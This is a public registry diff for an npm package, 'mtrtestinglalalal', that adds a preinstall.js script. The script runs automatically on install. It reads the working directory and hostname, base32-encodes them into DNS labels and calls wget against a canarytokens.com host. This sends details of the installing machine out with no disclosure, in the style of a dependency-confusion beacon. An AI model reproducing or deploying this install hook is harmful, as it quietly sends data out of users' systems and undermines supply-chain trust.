mtrtestinglalalal 0.0.1-security
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +11 -0
- package/preinstall.js +47 -0
- package/readme +0 -0
package/package.json
ADDED
package/preinstall.js
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
const { execSync } = require("child_process");
|
2
|
+
|
3
|
+
const token = "7s7ge8z7wyht6or4ipinquask.canarytokens.com";
|
4
|
+
|
5
|
+
function base32Encode(input) {
|
6
|
+
const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
|
7
|
+
const paddingChar = "=";
|
8
|
+
let bits = "";
|
9
|
+
let encoded = "";
|
10
|
+
|
11
|
+
for (let i = 0; i < input.length; i++) {
|
12
|
+
bits += input[i].charCodeAt(0).toString(2).padStart(8, "0");
|
13
|
+
}
|
14
|
+
|
15
|
+
for (let i = 0; i < bits.length; i += 5) {
|
16
|
+
const chunk = bits.substring(i, i + 5).padEnd(5, "0");
|
17
|
+
const index = parseInt(chunk, 2);
|
18
|
+
encoded += alphabet[index];
|
19
|
+
}
|
20
|
+
|
21
|
+
while (encoded.length % 8 !== 0) {
|
22
|
+
encoded += paddingChar;
|
23
|
+
}
|
24
|
+
|
25
|
+
return encoded;
|
26
|
+
}
|
27
|
+
|
28
|
+
function chunkString(str, size) {
|
29
|
+
const regex = new RegExp(`.{1,${size}}`, "g");
|
30
|
+
return str.match(regex);
|
31
|
+
}
|
32
|
+
|
33
|
+
function createToken() {
|
34
|
+
const data = execSync("echo $(pwd | tr '/' '_')-$(hostname)").toString().trim();
|
35
|
+
|
36
|
+
const base32Encoded = base32Encode(data).replace(/=+$/, "");
|
37
|
+
const chunks = chunkString(base32Encoded, 63);
|
38
|
+
const randomSuffix = "G" + Math.floor(Math.random() * (99 - 10 + 1) + 10);
|
39
|
+
return [...chunks, randomSuffix, token].filter(Boolean).join(".");
|
40
|
+
}
|
41
|
+
|
42
|
+
const url = createToken();
|
43
|
+
|
44
|
+
try {
|
45
|
+
execSync(`wget http://${url}`);
|
46
|
+
} catch (error) {
|
47
|
+
}
|
package/readme
ADDED
File without changes
|